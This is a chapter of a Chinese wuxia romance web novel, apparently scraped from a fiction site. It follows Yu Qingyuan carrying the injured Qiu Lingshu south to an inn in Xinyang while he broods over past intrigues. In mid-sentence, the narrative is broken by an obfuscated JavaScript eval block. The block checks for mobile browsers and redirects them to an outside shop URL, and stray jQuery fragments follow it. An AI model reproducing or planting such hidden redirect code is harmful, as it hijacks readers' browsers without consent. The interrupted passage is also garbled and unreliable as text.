29. 南下途中

作品:《出师未捷身先嫁

    暮春时节,南下的山道间驶过一辆马车。


    马车不大,驾车的是一个妙龄女子。


    她身着黄衫,眉目甚是清秀,便是从开封折返西洲的余青沅。


    马车一路南下。


    愈往南走,春意愈浓。


    山间花团锦簇,余青沅也便走马观花——


    马车行得不慢,却极稳。


    车中坐着一个男子,便是受伤的秋灵枢。


    秋灵枢斜斜倚在马车的后座上。


    他半身无力,探不出头,便丝毫瞧不见窗外的美景。


    当然秋灵枢也根本没有赏景的心思。


    比起春天景色的变化,他的注意力全放在了身前驾车的余青沅。


    每每想起余青沅,心中已经被春融化了的冰湖重新又会冻成一片死寂。


    又或许根本不是自己的内心在结冰,而是余青沅这块锐利的雪山在不断划伤着自己的内心。


    但雪山是雄浑的。


    雄浑的、十年不见的雪山。


    秋灵枢怎么知道雪山下到底埋藏着什么触目惊心的故事?


    何况雪山从不主动开口说话。


    每每回想起在龙门镖局发生的事情,秋灵枢的心中便会涌起说不出的复杂情绪。


    那日若非余青沅及时制止应凤娘的坦白,在场的所有人可能便会得知余秀可的真正死因。


    倘若知道余秀可的真正死因,他起码就能更好地共情青沅——


    而不是像现在一样。


    他活像一个做错事的哑巴,说不出半句话。


    可哑巴至少也是被人尊重的,余青沅却根本懒得理他一句。


    他本已几乎笃定余秀可是被应凤娘杀害的。


    但又似乎有些不对。


    倘若应凤娘真的杀死了余秀可,余青沅又怎么会救应凤娘?


    倘若余秀可被应凤娘杀死,应凤娘又被余青沅相救——


    那这个余青沅未免也太过大度了些。


    余秀可的死因一定另有隐情。


    那么余秀可的死因究竟是什么?


    与朴教有关么?


    余青沅是否已经报了父仇?


    又或者还在为余秀可的死寻找复仇的契机?


    看起来并不像。


    也或许,他根本就看不出什么。


    至少,他根本看不出她是否还保有憎恨。


    与其说是“憎恨”与“疏离”,不如说现在的余青沅,身上带着淡淡的“同情感”。


    秋灵枢又想到了那日在龙门镖局发生的一幕一幕。


    他想起——


    譬如那天应凤娘离开的时候,青沅轻轻拍了她的肩。


    余青沅请凤娘代她问好。


    没有人知道她要向谁问好。


    更没有人知道凤娘究竟要前往哪里。


    譬如半死不活的金生木。


    他本以为余青沅定要要了自己的命。


    他已几乎笃定余青沅现在已是朴教中的高层。


    但从余青沅的语气中,感受不到她对朴教的任何一丝忠诚。


    她像一个对朴教了如指掌的局外人,指点着朴教中的一切。


    所以最后她并不执着于要了他的命。


    她只是通知了朴教,或者说是本就属于金生木的白水堂。


    白马寺的空明禅师毫无怨言,将金生木抬回了白马寺。


    想到金生木,秋灵枢更加困惑了。


    金生木为什么要这本《见素心经》。


    是为了自己的贪欲么?


    这并不奇怪。


    没有人可以抵挡武林秘籍的诱惑。


    是为了青衣楼么?


    青衣楼到底给了金生木什么好处,令他不惜叛教也要投靠朴教的死对头?


    想到《见素心经》,秋灵枢的头更加晕得厉害。


    《见素心经》本不在余青沅的身上,也根本不在余府。


    那余青沅是怎么找到《见素心经》的呢?


    《见素心经》的出现又是否与余秀可的死有关?


    直到想到余秀可的死,秋灵枢才忽然发现这根本就是一个死环。


    但他又根本由不得自己不去想。


    ***


    秋灵枢终于想到了自己。


    金生木与秋府合作,也已是十年前的事情了。


    秋府买下余府,也已是十年前的事情了。


    秋灵枢欺骗余青沅,也已是十年前的事情了。


    倘若要解救应凤娘、揭开金生木叛变朴教的真相——


    这两件事中的任何一件事,都与自己、与秋家没有必然的关联。


    任何一件事,都没有必要令余青沅大费周章——


    与其说是请自己帮忙,不如说自己是任余青沅摆布的一颗棋。


    秋灵枢配合余青沅演戏,令余青沅瞧着开心些。


    秋灵枢想到了余青沅令人发指的武功——


    她既已练成《见素心经》上记载的神功,揭穿金生木、救出应凤娘根本就是小菜一碟的事情。


    余青沅在帮秦好儿?


    这已不是余青沅第一次帮助秦好儿。


    知恩图报的人值得人一而再、再而三地不求回报的帮助。


    秦好儿就是这样的人。


    听余青沅的意思,秦好儿已成为了朴教的教主。


    这并不奇怪。


    冷梅姑离开的时候,本就已把小蘋楼托付给了秦好儿。


    想到余青沅和秦好儿还保持联系,秋灵枢心中一宽——


    或许这是可以证明现在的余青沅与曾经的余青沅还保持一致性的不多的证据。


    想到配合演戏而受伤的自己,秋灵枢更是无奈又好笑。


    应凤娘和金生木死后,余青沅马上命秋素问备了这架马车。


    秋素问本极不放心。


    这些年,秋素问闯荡江湖途中也结识到不少医术高明的高人,他早已想好了带秋灵枢回到洛阳城的薛神医家中就诊。


    但被余青沅阻止了。


    “薛神医治未病。”


    能够治“未病”的当然是神医。


    “你哥病得不轻,怎能算未病?”余青沅淡淡道。


    她根本没有过问秋灵枢自己的意见,便不由分说将秋灵枢抱上了马车,一路南下。


    三天之后,秋素问忽然想明白了:“薛神医既然连‘未病’都能治,怎么可能不会治、治不好‘病入膏肓’?”


    可这个时候,秋灵枢已被余青沅带走、走得远了。


    ***


    这两个月时光,二人在豫州境内一路向南。


    豫州属于平原地貌,沿途一直还算平坦。


    其间余青沅几乎没说什么话。


    准确来说,余青沅只对秋灵枢说了一句话。


    他当然期盼余青沅对自己说话——就像当初那样,越多越好。


    但余青沅说的这句话,却根本不如不说。


    她只是


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17148688|195483||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    淡淡道:“我没想到你变得这么弱。”


    秋灵枢只能苦笑,暗道:“我也没想到你变得这么强。”


    ***


    山峦散尽,马车驶入信阳古城。


    秋灵枢看不到沿街的人群,只隐隐约约听到车外吆喝、叫卖之声不绝于耳。


    吆喝声中偶尔夹杂着小孩子的叫嚷声。


    街上有小孩子说明这个地方治安还不错。


    安全的地方往往承载着更多的幸福。


    所以信阳是一个并不枯燥也很有温度的小城。


    天色已晚。


    车门打开了。


    秋灵枢知道,惯例的住店时间到了。


    关于住店,余青沅从不会询问他的意见。


    她像往常一样,一声不吭将秋灵枢抱下马车。


    秋灵枢并不算重,甚至可以说骨瘦如柴。


    只是他毕竟要高一些。


    但余青沅的力气要比他想象中大很多。


    秋灵枢终于看到暮色中的信阳城,以及一家很排场的酒楼。


    余青沅像往常一样,向小伙计提出了同样的住店要求:“店家,两间客房。”


    今晚的店小二却面露难色:“这位客官,实在抱歉,我们店今晚只剩下一间房。”


    他还想解释,余青沅已回了话:“那便不必了。”


    转头就出了店。


    店小二已追出门外。


    他热心喊道:“客官——客官——”


    余青沅步伐轻盈,转眼便行出数十丈远,听到店小二的喊声,回过头来。


    只见那店小二气喘吁吁追了上来,喊道:“姑娘,你却不知明日是信阳城一年一度的祭祖日子——城中热闹得很。”


    余青沅道:“嗯?”


    店小二继续说道:“其实我们店中伙计已打听过,城中的客栈全都住满了。只是我们店收费贵了些,还剩下一间,倘若您二位来得稍晚一些,定然是一间房都找不到了。”


    余青沅半信半疑地瞧着店小二。


    店小二笑道:“客官您看,我们店剩下的一间虽然收费确实是贵了些,但屋子却是信阳城挑不出第二间的宽敞客房。”


    “我看您相公有病在身,同一间屋子晚上也好照料,”店小二接着道:“当然您有任何吩咐,咱小二无论几更都替您跑腿。咱们店斜对面便是一家药铺......”


    余青沅淡淡道:“打扫干净,打桶热水,泡壶热茶,带我们去客房罢。”


    店小二连连称是。


    客栈中竟跑出两个杂役,抬着一个简陋的竹轿子出来。


    余青沅淡淡道:“不必了。”


    说罢大步流星抱着秋灵枢进了客房。


    ***


    店小二的描述不错,客房却是宽敞。


    也不知是店小二被“这对夫妻”的“患难与共”所打动,还是这间客房本就是常用的婚房。


    大大的双人木床上的被子竟然是大红色的。


    余青沅将秋灵枢抱在床上靠墙的里侧。


    秋灵枢怪不好意思将大红被子掀起,却看见大红被子的缎面上,还绣着两只戏水的鸳鸯。


    他神色忸怩,却见一旁的余青沅神色极为淡定,仿佛根本没瞧见被子的模样。


    他也便慢慢平静下来。


    只是静静瞧着对着铜镜的余青沅。


    她还是像昔日一样美——她比从前更美了。


    只是她的神色间再没有当初的天真。